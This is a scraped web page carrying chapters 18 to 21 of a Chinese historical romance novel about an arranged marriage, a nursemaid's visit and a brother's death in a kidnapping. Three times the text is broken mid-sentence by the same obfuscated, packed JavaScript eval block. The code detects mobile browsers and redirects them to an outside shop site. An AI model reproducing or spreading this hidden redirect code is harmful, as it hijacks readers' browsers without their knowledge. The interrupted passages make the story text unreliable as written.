“既嫁从夫，我自然清楚立场，亦会扮演好自己的角色。这与我嫁的是谁无关。与你也无关。” 房遂宁扬了扬眉。 “父亲在朝为官持身清正，仰奉圣恩，对这桩婚事也是尽了心。你不必对我反复试探，为人妻子，该做的我自然会做到。” 郑薜萝眸光微闪，无论婚前秦嬷嬷特地传授的《素女经》，或是裴夫人话语中若有似无的提醒，房家长辈对两人的希冀实则颇为明显。 而房遂宁对此的消极态度，倒真的她松一口气。至少在这一点上，他们是一样的。 “只是，贵府长辈对你我有所指望，望夫君能仕途顺遂，为妻在家中，才好安抚长辈。” “至于夫君在外交游，我自然不会干涉。” 她说得隐晦，房遂宁却听明白了，这是指望他能强硬些，才好应对房府的压力，共同糊弄父母。 法无禁止即为可行。他哼笑了一声：“那是自然。多谢夫人宽纵。” “应该的。” 两人真正齐心本无可能，能如此坦诚地划清底线，倒也不失一件好事。 房遂宁早在查案时就调查过郑远持的底细——商人之后，却依托岳丈的权势踏入朝堂，从此平步青云。 富家女易嫁，嫁早轻其夫1。那一份昂贵的嫁妆清单给他留下的印象：郑薜萝出身在这样的家庭，从小娇惯，择婿的考量定也是以己为先。若没有圣人指婚，恐怕郑远持会给她挑一个门第相当，又能对岳父心存敬畏，对妻子百依百顺，温柔体贴的丈夫。 然则今日所见，与他的想象有些偏差。 郑薜萝在自己家中亦没有恃宠而骄的气场，哪怕回门时迎接她的只有空荡荡的府院，也未曾表露出半分的抱怨，对待家中姨娘也是温和有礼，表里如一，可见郑远持夫妇的教养颇为严厉。 而她维护身边人的感受的周全，看上去却似与生俱来的本能。 房遂宁微眯着眼琢磨着眼前人，忽问：“有人和你说过我兄长的事？” “没有。庙见那日在宗祠，我看到房荪荃的牌位。” 他点点头，陷入沉默。 对于夭折的兄长，房家所有人都讳莫如深。郑薜萝不愿主动触及旁人私隐，方才在厅里时才刻意转移话题。既然房遂宁不说，她也无意追问。 “宣郡紫笋……那茶的味道，我到死都会记得。”房遂宁突然没头没尾地道。 郑薜萝抬眼看人，他那张骨相温润的脸上一霎现出几分锋锐的戾气。确实符合外界给他的称号：玉面阎罗。 她怔了怔，望着他手边那盏冒着烟气的茶盏。 “紫笋是父亲惯喝的茶，调性温和，和父亲为人很像——从不会刻意与人为敌。” 房遂宁眸光微敛，与她的视线汇集在同一处。 “只是我总觉得，这茶冲泡了两回之后，口感便过淡了。” 郑薜萝敛着眉，“反倒不如那些越泡越酽的茶，虽苦，却也提神。” 房间里有些沉闷，她走开去，“吱呀”一声将窗扇推开。 暮春的阳光温和而不失明媚，在窗边人的身上照出一道似仙女霞帔似的金帛，于青砖地面拖曳出长长一条影子。 房遂宁的视线下意识追着那一缕光，眉眼间的凌厉淡开了些。 “被偏爱就是幸运么？被选择，有时未必好过被放弃呢……” 郑薜萝喃喃自语着，一边转过身来。 房遂宁如同第一次认识她一般，定定地看着她。 “怎么了？”郑薜萝微觉异样。 他语气有些奇怪：“你九岁时回的玉京？” “是啊。” “从哪里？” “蓁州啊。” 房遂宁不说话了。郑薜萝也就跟着沉默下来。 “夫人回来了！”外面突然传来丫鬟的声音。 正厅里，席面已经摆好。 落座前李砚卿向房遂宁解释：“你岳丈有些事情，今日可能回不来了。不知今日你会跟着一道回来，改日有机会再聚吧！” 房遂宁彬彬有礼地微笑：“来日方长。既然岳丈大人公务繁忙，今日不见，往后部里也会见到的。” 郑远持升任枢密使，已经开始部分接手尚书省的公务。除了刑部外，兵部和工部的首官都已经主动拜会过未来的尚书右丞。六部之中他与房速崇分庭抗礼的格局，已然鲜明。 李砚卿深深看了女婿一眼，道：“既是一家人，自然还是家中见面多些更好。” 房遂宁颔首。他这岳母毕竟宗室出身，举手投足自有一股威严，在郑家地位尊崇，连郑薜萝在她面前亦是颇为拘束。 他面上始终是谦恭笑意：“自然。只是小婿部里事忙，岳父大人事情只会更多。在家见面，可遇而不可求。” 郑薜萝没吃多少口，就将手头的筷子放下了。 她一直静静听着母亲和房遂宁二人说话，好不容易等到对话一时中断，她才开口。 “母亲，怎么没看见吴妈妈？” “方才和我一起出去的。”李砚卿道，“怎么了？” “她还好吧？我走时，她的头晕症又犯了……” “已经好多了，没事。” “吴妈妈是——？”房遂宁问。 李砚卿：“是薜萝的奶娘。” 房遂宁点头：“难怪方才与薜萝去她房里，没看见吴妈妈，她有些失落的样子。” 郑薜萝奇怪地看了他一眼，她确定自己并不曾在他面前表现出任何端倪。 “是陪了我们阿萝多年的老妈妈了，阿萝走后这两天，吴妈妈也不习惯呢！”方花实叹道。 房遂宁点点头：“既如此，不如叫吴妈妈来，一起说说话？” 郑薜萝又忍不住瞥了他一眼，房遂宁神色从容，并未看她。 既然女婿这么说了，李砚卿点点头：“也好，去请人过来吧。” 不多时，前面有人过来，郑薜萝从桌边站起身。 几日不见，吴妈妈似乎又瘦了些，看见郑薜萝时眼眶立时红了，郑薜萝强抑着心酸，冲她微微一笑。 “吴妈妈来坐。方才聊起您，姑爷便说也请您一道过来叙话。”主人说话间，便有丫鬟搬了凳子过来。 吴妈妈忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056364|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住看向萝姐儿身边的人。果然是风姿如玉的世家公子，此时房遂宁和萝姐儿并肩而坐，确是一对璧人。她屈身下拜。 “妈妈不必多礼。” 房遂宁视线在吴妈妈的脸上略定了一会，缓缓道，“吴妈妈好生面善，感觉似曾在哪里见过。” 吴妈妈微笑道：“姑爷笑言，老奴在内宅四十余年，怎会有幸得见姑爷。” “我听说，您是自薜萝出生起，便一直贴身照顾她的老人了。” “正是。” “您是蓁州人氏？” 吴妈妈摇头：“老奴家乡宣州，原是老王爷府上的。” 李砚卿向房遂宁解释道：“薜萝出生在宣州她外祖家，吴妈妈原是服侍薜萝外祖母的。薜萝六岁时，才接去她祖父家，吴妈妈便也跟着她去了蓁州。” 房遂宁若有所思。 郑薜萝的外祖，便是李砚卿的父亲，封地在宣州的敬王李茂。 敬王乃是皇帝的远方堂兄，当年曾随着高祖皇帝远征夷狄，年纪轻轻便立下过功勋。天下平定后却急流勇退，以“战事留下伤病，不堪重负”为由，离开玉京。携全家在封地定居，从此只专注于修养生息，修道炼丹，种花养草。 郑薜萝自小从宣州到蓁州，再到玉京……自外祖到祖父家，辗转寄居，真如浮萍一般。 难怪她身处郑府，也并不比在循园松弛多少，难说她心中真正的归属地究竟着落在何处。 房遂宁察觉，比起方才在母亲面前谨慎守礼的克制，吴妈妈出现后，郑薜萝总算稍稍露出些松弛感来。 他收回视线，看向面前一席珍馐，微笑道：“吴妈妈来自江南，倒有一事请教。” “姑爷请讲。” “我听说江南有一道名菜，叫松江鲙，不知吴妈妈可会斫制？” 郑薜萝秀眉微扬。 吴妈妈闻言，笑着看了郑薜萝一眼：“这是我们姑娘爱吃的。需以松江鲜鲈鱼制成，可惜自来了玉京，便少有这样的条件了。” 房遂宁手指在案上轻敲两下，语气明快：“倒是巧了，前两日刚有朋友送来几尾松江鲈鱼，说是制成鱼鲙风味最佳。只是需尽快食用，否则误了最佳口味的时间。鄙府的庖厨却无人擅制鱼鲙，不如——” 他似是一时兴起，“不如就请吴妈妈随我们一同回循园，指导一番？” 吴妈妈立时看向郑薜萝。 说是去指导鱼鲙制法，却没有去了两日就回来的道理。这样一来，她也能顺理成章留在循园，多陪姑娘几日。 郑薜萝自然也极为兴奋，却并未流露，转头去看母亲的反应。 房遂宁也看向岳母，诚恳的口吻：“听他们说这松江鱼鲙味道鲜美，口感细腻，光听来便叫人食指大动。岳母大人，能成全小婿这一时口腹之欲吧？” 李砚卿沉吟片刻，道：“那就辛苦吴妈妈跑一趟，只是不免麻烦贵府，是否要和令堂打个招呼？” “不麻烦。请吴妈妈去循园，和房府那边无碍。本就是小婿嘴馋，叫您见笑了。”房遂宁微笑道。 就这么说定。房遂宁扫一眼郑薜萝，一整晚少言寡语的人，这会嘴角终于微微扬了起来。 19. 第 19 章 天色渐晚，到了掌灯时分。李砚卿将女儿女婿送至门外，忽听街道另一头辘辘声响。 车夫在府门前勒马，掀开车帘，车上下来一个身着青色官袍的年轻男子，身形挺拔气度不凡。男人下了车，转身掀开车帘。 郑薜萝一时面露喜色。房遂宁远远看清人影，神色微敛。 从车上下来的果然便是郑远持，他循声望过来，看到房遂宁时，面露一丝讶然。 郑薜萝见两人碰面，莫名紧张。房遂宁倒是姿态从容，几步走下台阶，向着郑远持端正行了一礼。 “荪桡拜见岳父大人。” “哦，遂宁今日也来了，”郑远持笑容微敛，“给你介绍一下，这位是——” “小婿认得的。” 房遂宁直起身子，向郑远持身边的男人一叉手，笑意凝结于唇际。 “——顾少卿，幸会。” 新任大理寺少卿顾亭时，此前二人并未私下见过面，但房遂宁已经多次听过他的名字。 “恭喜顾少卿履新。”他微笑道。 顾亭时回礼：“恭贺房大人新婚。” “如何，顾大人可还忙得过来？”房遂宁挑眉。 夜来案查到一半，便从他手头被移交出去，他问过左素同大理寺负责这案子的是谁，后者只是让他安心休假，也没多说什么。 便是交给了眼前这位看上去没什么城府的新任大理寺少卿？ “尚在适应中呢，有劳顾大人关心。”顾亭时笑得明朗。 房遂宁心中冷嘲：竟将案件交给这么一个闲职出身，新上任没半点经验的人，不知是大理寺无人，还是刻意为之。 郑远持身为与此案有关的官员，竟和顾亭时同乘一车回府，毫无避讳可言。从二人的肢体语言看，他们早就相熟。 顾亭时留神到房遂宁的视线，解释的口吻：“下官赴户部衙司公干，郑大人受累，随我忙到天晚，又逢大人的马车坏了，正好顺道……” 他话说一半突然停住，视线落在房遂宁身后。 “父亲。” 郑薜萝款款走来。郑远持见到女儿，神色柔和不少，点了点头。 李砚卿看见顾亭时也笑着招呼：“小顾来了，怎么站在这里说话？进去坐坐。” “见过夫人，”顾亭时向李夫人躬身行礼，“今日不叨扰了，本也是顺道送世伯一程。” 说罢，他视线便停在李砚卿旁边的人身上，眸光一时熠熠。 他是听说过郑薜萝的，父亲与郑远持乃是世交，曾商议过结亲，后来因为指婚不了了之。家中长辈对此一直有遗憾。 顾亭时是首科及第的进士，父亲乃是当朝兵部尚书顾存胥。他性格洒脱好交游，在同龄人中人缘不错，又生得一副好样貌——自入冠岁后，登门议亲的就没断过，是以对这位传闻中的郑家嫡女，并未太放在心上。 孰料今日见郑薜萝第一眼，他才知道自己错过了什么。 顾亭时想等着人将他介绍给郑薜萝，奈何一时间却无人开口，只得出声：“这位是——” 郑薜萝见顾亭时眸光熠熠地看着自己，便微微屈膝：“郑薜萝拜见顾大人。” 顾亭时连忙伸手，虚扶了一把。收回手时发现房遂宁正看着他，似笑非笑的神情，讷讷地将手收回。 郑远持清了清嗓子：“天色不早，你们是该动身回去了吧？” 本来他提早回来，是想着能趁女儿回夫家之前赶回来见一面，可他没料到的是，房遂宁陪着薜萝一起回来了。眼下这样的情形，也不便留人。 “是的父亲，刚和母亲一道用了晚膳，这便准备走了。”郑薜萝低声。 当下几人之间的气氛有些诡异。 房府的马车已经停在一旁，泊舟牵着房遂宁的马，吴妈妈侯在车边，等着搀扶郑薜萝上车。 灯火映照着郑远持的脸，带着浓重的倦色，明明他还尚未到不惑之年，鬓发已现间杂的银灰。 他向女儿点了点头：“去吧。” “那父亲保重。” 郑薜萝最后看了父母一眼，转身向马车走。 一只手倏然伸出，紧紧扣住她的手腕，将她扯得脚步一停。 “夫人慢些，小心路滑。” 她要抽回手，却被房遂宁一把抓紧了。她皱眉，抬头看他。 房遂宁的手极有力道，抓紧她手腕后，转而覆手改为十指交扣。 “您先上车，我扶薜萝上去。” 他冲着一边的吴妈妈说话，一双漆黑如墨的眼始终盯紧了郑薜萝。 “郎君您不骑马了？”泊舟有些纳闷。 房遂宁掀起眼皮，冷冷睨了她一眼，泊舟背心一凉，立即牵着马走开。 郑薜萝：“你要和我们挤一辆车？” “我的马车宽敞，三个人够坐。” 这人还真是古怪。这两日和他相处，虽说还未能完全知道他的喜好，但他厌恶的事情却十分明确：他排斥嘈杂拥挤、昏暗闭塞的环境；对任何浓烈、刺鼻的味道反感；即使在交际的场合也会与人始终保持足够的距离；非必要情况，他会避免一切肢体接触…… 当然，也可能纯粹是抵触她而已。 这车或许对一般人而言足够宽敞，但对房遂宁而言，绝对不算。 房遂宁视而不见她眼神里的琢磨，动作轻柔地替她系紧下颌处的披风绸带。 “这是我的车，你是我的娘子，你我共乘一车，有什么不对么？” 郑薜萝心神一凛，余光瞥见不远处站着的父母，朝房遂宁露出温柔笑意。 “上车吧，夫君。”她朝他伸出一只手。 房遂宁嘴角微勾，任她牵住手，扶她上了车。 回循园的路上，天上下起牛毛般的细雨。雨点落在车篷上，发出绵密饱满的颗粒声。 二人上车后，又恢复成本来状态。吴妈妈有些不适应突然冷却的氛围，坐在车厢角落，亦不敢开启话题。 郑薜萝察觉她的局促，默默靠过去，伸手覆在她膝头。 “妈妈的眩晕好些了么？”她低声关切。 吴妈妈拍了拍她的手：“好多了，姑娘别担心。” 她近距离打量着郑薜萝，有许多话想问，但一时不知从何问起，下意识看了房遂宁一眼。 就这么一眼，心中倏地一跳。 一直半阖着眼的房遂宁，不知何时已经睁开眼，正默不作声地看着她们的方向。 他眸光本是暗的，在昏暗的车厢内，更多了几分幽深难测。 吴妈妈冲姑爷笑了笑，匆忙移开视线。 房遂宁神色无波地观察着这主仆二人。 他在郑府时说的那一番话并非完全客套。他是真的觉得吴妈妈似曾相识。 … 七年前，蓁州。 房遂宁跟随师父抵达眉津渡——这是他八年修道的最后一站，完成此次出游，便该与师父分道扬镳，回到高门大院中，回到他原本的生活轨迹，做回房府的嫡长孙。 当年离家的男孩已经长成，比师父还要高出一个头来。 玉简真人扶着他的肩，宣告师徒二人的缘分就此告一段落。 十四岁的房遂宁已经知道万物芸芸，各归其根，只是到底心有不舍，又不知如何表达，青涩的眼神中尚有茫然。 “可弟子仍有惑未解……” 玉简真人笑起来。孰能无惑呢？即使如今两鬓泛霜，他偶尔也会有在梦里遇见祖师爷时，缠着他老人家索解的时候。 他拍了拍少年人的肩。 “世上事，有时是人择道，更多时是道择人。” “遂宁，大多数人，都是带惑行路的。” 房遂宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17063875|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目送那一袭灰色的道袍，挟着江边的风，一转眼便消失在渡口来往不息的人流中。 岸边停靠着三层高的巨型楼船，高耸的桅杆上风帆鼓动，是房家遣来接回少郎君的。 管家房衡笑着道：“少郎君受苦了！往后的日子，便有家人陪伴，风餐露宿的苦修终于结束了！” 下面的人附和：“是啊，全家人都在等着少爷回去，您不在的时候，老爷夫人总会念叨你，老太太还想着她唯一的外孙儿呢……” 一群气势非凡的豪门家丁，簇拥着一名少年道长。鸦青色的道袍下是少年挺拔而瘦削的身形，与周围的人气场迥异。 路过的人看到如此奇怪的组合，不免驻足多看两眼。 “让我一个人待一会。” 少郎君语气平静，却不容置疑，早已经不再是当年抹着眼泪离开父母的无助孩童。 房衡不敢催促，却也不敢舍下少郎君独自离岸，只好带着人远远退到一边。 房遂宁独自驻足码头，人潮在他身边来往，似乎一切喧嚣和热闹都与之无关。直到身边响起一道清脆的声音。 “哥哥，那是你们的船么？” 他回神。一个梳双髻的女孩子，穿一身绀碧衣裙，正仰着脸看他。瓷娃娃一样小巧的脸蛋，更显得一双眼睛大而圆。 “……是。” “你们的船好大啊。你是要回家了么？” “是吧。” 女孩点点头：“哥哥一路顺风哦。” 房遂宁望着远处浮光跃金的江面，没有回应女孩诚恳的祝福。 码头另一边，登船的人群里似乎有人在喊女孩，她脆生生地应了一声，转头对房遂宁道：“我也该走啦。” 房遂宁视线微动，落在那艘正在登客的船上。人流拥挤，大多旅人的神情是对未知的期待，或是对归乡的思念。 反而一旁房家的楼船，船工和下人们严阵以待，一派冷肃气氛。 “你也回家？”他问那女孩。 “……我去找我阿耶阿娘。” 他听出女孩语气落寞，忍不住看了她一眼。 “怎么了？” 女孩转头看向远处的堤岸，稚嫩的面容带着愁闷：“阿耶说要带我回他们身边，可我也舍不得祖母……” 房遂宁垂眸看向那女孩：“被人选择，难道不好？” 她嘴角弧线微微向下，眼眶和鼻头渐渐红了。 “被选择和被放弃没什么不同吧。” 女孩仰起头，圆又黑的眼睛和他对视，稚嫩的声音里筋骨铮然。 “——都是别人替你决定而已，一样的可怜。不是么？” 声音虽轻，却清晰落在房遂宁的耳中。 在那个黑暗的货舱中，他们兄弟二人手脚被缚，冰冷的河水漫至脚底…… 经年累月，房荪荃最后的眼神在他的噩梦中不断重现。危急时刻他们选择救出二郎，此后的每一日，房遂宁都活在被选择的痛苦之中。 所有人都在说他是“大难不死，必有后福”的幸运儿，可怜的只有夭折的兄长，却无人知道午夜梦回时他经历的折磨。 “我……” 房遂宁回过神，身边已经没了人。 不远处，那小女孩被一个包着头巾的妇人牵着手，一大一小两人混在人潮中，已经去得远了。 当年的小女孩已经高过了她身边的妇人，眉眼里的稚气消失——郑薜萝平静的时候，嘴角依旧会微微向下，好像在暗自较劲。 从那双沉静的眼睛分明可以看出，她曾长久注视过波澜起伏的河流。 那一年眉津渡口初遇，是他窥见的，她如浮萍般童年的一段剪影。 车厢里一片昏暗，房遂宁隐匿地望向对面，郑薜萝对上他的视线，只一瞬，便迅速闪开。 她并没有认出他来。 20. 第 20 章 循园里的下人住在与主人相邻的单独院落，郑薜萝与吴妈妈携手走了一路，在通往正院的月门外停下脚步。 房遂宁刚刚与她约法三章，照理从今日起，分房别住的约定就应起效。可郑薜萝又不想在吴妈妈的面前暴露出他们二人貌合神离的实质。 她正在迟疑，却听房遂宁道：“我还有些事要忙，今日吴妈妈陪你，早些休息。” 说罢淡淡看了她一眼，便朝东院书房去了。 郑薜萝松一口气。转头再看，房遂宁的背影已经消失在夜色中。 第二日早起，吴妈妈便去厨房指导鱼鲙的做法。厨娘邓娘子比她年纪略小一些，是个河东妇人，性情爽朗，说起话来总是咯咯地笑，得知吴妈妈是郎君从岳父家请来的，便热络地拉着聊天。 “哎呀，说起来，咱们少郎君还真是娶了个好妻子呢！娘子性情温柔，待下人也和善，每日里都会亲自下厨，一点没有官小姐的做派。” 吴妈妈抿唇微笑，认同的语气：“我们姑娘是这样的。” 邓娘子一边给吴妈妈打下手，一边絮絮叨叨：别看循园地方大，下人却不算多，从郎君十四岁那年回到这里，念书宿在国子监，一个月才回来一次；后来入了刑部，大多时间也都住在衙署。园子里清净了这么多年，一点人气都没有，也就是郎君成了婚，这才热闹了些…… 吴妈妈手下不停地处理完生鱼，一刀刀片下晶莹剔透的鱼肉，听到这里才问：“老爷夫人平日里也不常过来么？” “不怎么来，这循园和隔壁是分开的。老爷夫人要过来也得少郎君许可才行。” “看来少郎君和父母亲不算亲近呢。男孩子果然都是一样的。”吴妈妈不由得感叹。 邓娘子叹息道：“谁说不是啊！还记得郎君幼时生得冰雪团子似的，人见人爱，那么活泼的小郎君，却被送出家修道，成了年回来时，就如同换了个人似的……” 吴妈妈若有所思。 她在循园这两日，看着房遂宁和郑薜萝夫妻二人看上去相敬如宾，实则人后互动少得掰着指头也数得出来。 郑薜萝每日按时去隔壁房府晨昏定省，回循园后理一理账目，做自己的事。房遂宁那边，一连数日不踏足正房也属寻常，倒是常有着公服的人去东院找他，书房门一闭，也不让人进去伺候。 只一日三餐时见到面，席上也是寥寥数语，或是干脆沉默到底，只图一个相安无事。 吴妈妈满腹心事地回到正院，只见主屋大门紧闭，里面有人正在说话。 “……如今既已成了婚，还是应当尽早考虑后面的事情，郎君身为房氏家主这一门唯一的嫡孙，老太太和夫人都颇为看重……” 听声音，是夫人身边的秦嬷嬷。 “嬷嬷说得是。”郑薜萝语气顺从。 吴妈妈站在廊下，眉头紧紧拧起：这夫妻二人的状况，怎么是逼一人就有用的？ 房中接着响起房遂宁的声音，口吻有些不耐烦：“嬷嬷今日过来，便是说这事？” 秦嬷嬷的声音登时温和了许多：“没什么大事，今日夫人说起，也该让娘子去宗祠祭拜一下。今年佛诞日妙璇庵有法事，不少人家都会去参拜，夫人也要去，届时郎君可携娘子一道，去庵里祈福祝祷。” “少郎君有所不知，妙璇庵是京西一处香火旺地，里面供奉的观音娘娘极为灵验，求姻缘和子嗣的香客每日都前仆后继的……” 郑薜萝还未说话，房遂宁已然回道：“知道了。母亲还有别的吩咐么？” “没什么了，老奴也只是来陪娘子说说话，娘子初来乍到，这偌大个循园，娘子一人当家，实在有些孤单……”秦嬷嬷的声音有些干巴。 屋里安静了一会。 “吴妈妈，请进来吧。”房遂宁忽然扬声。 吴妈妈连忙推门进屋。郑薜萝这才意识到她一直在屋外，始终平静的神色微微变了变。 秦嬷嬷却并不意外，笑着冲吴妈妈道：“夫人听说您过来，还想请您也去府里坐坐呢——府上设宴多，这两年玉京时兴起江南菜式，家里的丫鬟婆子都是清河老宅带过来的，少有会做南方菜式的，正好您来了，也一道去指点指点……” “夫人抬举了，老奴怎好班门弄斧。”吴妈妈脸上没什么笑意。 “吴妈妈不用谦虚！其实啊，请客设宴倒是其次，娘子她也是吃惯了江南的口味的，如今入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068381|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们府上，若是思念起家乡味道，那可怎么好？” 郑薜萝看了房遂宁一眼。 他自作主张请吴妈妈过来，并未和房府知会。现在看来，循园的事务那边虽不曾怎么干涉，他们的一举一动那边却是清楚得很。 秦嬷嬷继续劝道：“好啦，吴妈妈就别推辞了——” 房遂宁抱着臂，突然出声：“佛诞日寺庵中作起法事来人太多，也不必非要正日子去凑那个热闹，不必劳烦母亲，我带夫人去就是了。” “那自然是极好！”秦嬷嬷抚掌笑道，“有少郎君陪着娘子，夫人也放心了。” “那便这么定了。” 房遂宁一点头，吩咐下人，“再给嬷嬷添些茶水来。” 秦嬷嬷心知这是送客的意思：“不了，时候不早，我也该回去和夫人复命。” “那就不送。” 秦嬷嬷离开后，房遂宁也站起身来，似乎想和郑薜萝说些什么，最后只是冲着吴妈妈略一颔首，便出了房门。 郑薜萝松了口气，站起身来，拉着吴妈妈坐在身边：“您方才怎么不进来？” “你们在说话，我自然不好打扰。” 郑薜萝沉默。今日秦嬷嬷代表房府来，对夫妻二人名义上是关怀，实则是催促。虽然与房遂宁有过约法三章，但她并不想让娘家人知道自己在房府的处境，徒增担忧。 吴妈妈自然不知她心中所想，缓缓抚着她的手：“姑爷那么忙的人，竟还愿意抽出时间，陪你一道上山求神，也是难得了。” 看自家姑娘抿着唇不接话，她又道：“我听下人说，姑爷并非独子，他还有一位兄长，已经夭折了。” “是。” “房家乃世家大族，人丁着实不算兴旺，如今正宗只剩房遂宁这一个儿子，承衍子嗣的希望自然要落在你们身上。既然嫁了人，这也是迟早的事情……” “我知道。”郑薜萝低声应。 吴妈妈叹了口气，“想必房老爷房夫人经历过白发人送黑发人的惨事，自然更希望你们能多子多福，儿孙平安。” 她看向郑薜萝，语气沉重。 “姑娘可知，房遂宁的兄长是被人撕票的。” 21. 第 21 章 郑薜萝心突地一跳。 “撕票？” “他们两兄弟曾遭遇过一起绑架，哥哥死在了绑匪手里，只有弟弟逃脱了。” 吴妈妈一脸沉重，最开始从房府下人口中听说此事，她亦是震惊了许久。 那一年房遂宁才六岁，被救回来后便失语，家里寻遍了名医，也没有办法让他重新开口。也是机缘巧合，遇到个云游道人，不知用了什么方法，竟叫孩子重新发出了声音，只是人依旧没魂。 道长的原话是：此儿杀印相生，乃大贵之格，只是六亲缘浅，家中长辈还须看开。父母崩溃之余，向那道长求破解之法。 “所以，他就被家里人送去修道……”郑薜萝轻声。 吴妈妈点点头：“六岁的孩子改了名字，就这么被送入道门。”她面露不忍，“姑爷这性子，想来也怪不得他。旁人家的哥儿们还在缠着长辈要糖吃的年纪，便送去那不食人间烟火的地方修行……” 荪桡并非他的字，而是他的本名。房荪荃，房荪桡，是兄弟两个。 “遂宁，遂我所愿，以兹自宁……” 这名字寄托了长辈的盼望，盼望他脱胎换骨，从此告别那段惨痛经历。 吴妈妈叹了口气：“此事房家人讳莫如深，连对姑娘也不曾细讲。姑娘心中有数便是，对姑爷也多些体谅吧。” 郑薜萝蹙眉：“既是心病，为何又要将荪桡选作他的字，提醒他死去的兄长？” 吴妈妈一怔，一时也没想通这个道理。 “荪荃，荪桡本是兄弟，想来，也是为了纪念哥哥吧。” - 傍晚，房府派人登门来循园传话。 “天色不早，这个时候，娘子去那种地方合适么？”且微皱眉。 郑薜萝从窗边转过头：“夫君在平康里？” 传话的小厮点了点头。 “既是君姑有命——且微，更衣吧。” 马车出了隆兴坊，一路奔向城西，及至某处，窗外渐有人声喧嚷。 “没想到宵禁之后，城里还有这么热闹的地方……”且微感叹。 郑薜萝跟着看向窗外泻进的灯光，眉眼中没什么情绪：“所谓规则，不过是用来约束普通百姓的。” “娘子说得是，”且微不忿道，“这些上流人士何曾受过拘束？姑爷尚在新婚之中，已然有家室的人却半夜到这种地方来玩乐……他们房家还把圣人的婚旨放在眼里么？” “自然是放在眼里的。” 郑薜萝轻轻笑了笑，“不然君姑怎么会让我去接他。” 谁让自己儿子一身的反骨，偏偏不把自己“有妇之夫”的身份当回事，裴夫人恐怕也是无奈，倘若消息传出去，那些谏议大夫们定要参上一本。 “真是一点都不顾及咱们的颜面！”且微嘟囔着，“显得您如小心眼的善妒妇人似的，叫那些嘴碎的人见了，还不知要传什么闲话！” 说话间马车停下了。 且微扶着郑薜萝下车，仰头打量着上方错落高悬的酒招，灯影摇红之中，传来一阵阵丝竹调笑声，空气中弥漫着脂粉甜香味。 “咱们就这么直愣愣地进去找人么？”且微皱眉，掩着鼻子。 房府派来的小厮知道些情况，上来提醒：“少夫人，郎君应是在对面。” 郑薜萝转过身，顺着那小厮手指的方向看向街对面。只见一栋二层小楼，悬着的招牌上写着“扫花茶社”。只是门户紧闭，一丝灯光也无，不闻半点人声。 “夫人这边请。” 郑薜萝跟着人绕到茶社后门，昏暗中有人迅速靠了过来。 “什么人！” 寒光一闪，冷刀出鞘的声响。 且微吓了一跳，手里灯笼掉在地上，堪堪将来人的面孔照了个大概。依稀是个凶神恶煞的中年男子。 小厮倒是识得那人，讶道：“熊大人？” 那男人被认出，显然也很意外：“你们是？” “我们夫人来接大人来了。您怎么在这儿？大人是在这儿……公干？” 且微拾起了灯笼，熊大人魁梧身形现于光下，虽然穿着一身常服，警惕凌厉的目光却是非同寻常。 熊坤看清郑薜萝主仆二人，立时将手里刀归还入鞘：“没、没有，我只是经过。不知道大人也在这里……” “熊大人。”郑薜萝静静打量他，“——您是夫君的同僚？” “不敢。” 熊坤连忙躬身，“属下乃刑部提举司提举——拜见夫人。” “唔……熊大人这么晚还在忙碌，实在辛苦。”郑薜萝善解人意地道。 熊坤挠了挠头，不知如何接话。 他奉命暗访“灵肌丸”的来历，查得了一些线索，按照吩咐来这里找房遂宁。如今这案子名义上已经交给了大理寺，他们必须秘密行事，谁料却撞上夫人。 他硬着头皮道：“不辛苦，属下真的只是经过，想来喝杯酒、松快松快而已。” 郑薜萝点点头，眉眼微挑，看向眼前一片漆黑的茶楼：“也来这里？” “吱呀”一声，茶楼二层紧闭的窗牗推开了，原本漆黑一片的窗扇映出了灯火。窗口传来人声：“谁在下面？” 郑薜萝抬头。窗边倚着一个眉目俊秀的男人，宽袖披落在窗台，一手持盏笑容懒散。 熊坤认出对方，立时就地跪拜：“裕王殿下。” “臣妇参见殿下。”郑薜萝也盈盈下拜。 “免礼免礼！——荪桡，你媳妇儿来喊你回家呢！”裕王扭头朝屋内喊道。 不一会，房遂宁冷淡的眉目出现在窗边。 眼下场合，裕王没有什么忌讳，按着与房遂宁血亲的关系称呼郑薜萝：“弟妹，别担心啊，我们就是喝喝茶，手谈了两局，没叫那些乱七八糟的花样。不信你可以上来看看！” 郑薜萝抿唇，与房遂宁对视，他的视线微动，落在她身后的暗影里。她微微侧目，熊坤依旧半跪着不敢抬头。 “弟妹，上来呗，一起喝一杯？”裕王热情邀约，显然对郑薜萝颇为好奇。 “算了殿下。我也该走了。”房遂宁的身影从窗边消失。 “——喂，这便走了啊？不再待会儿么？算了，那本王便也回去了。” 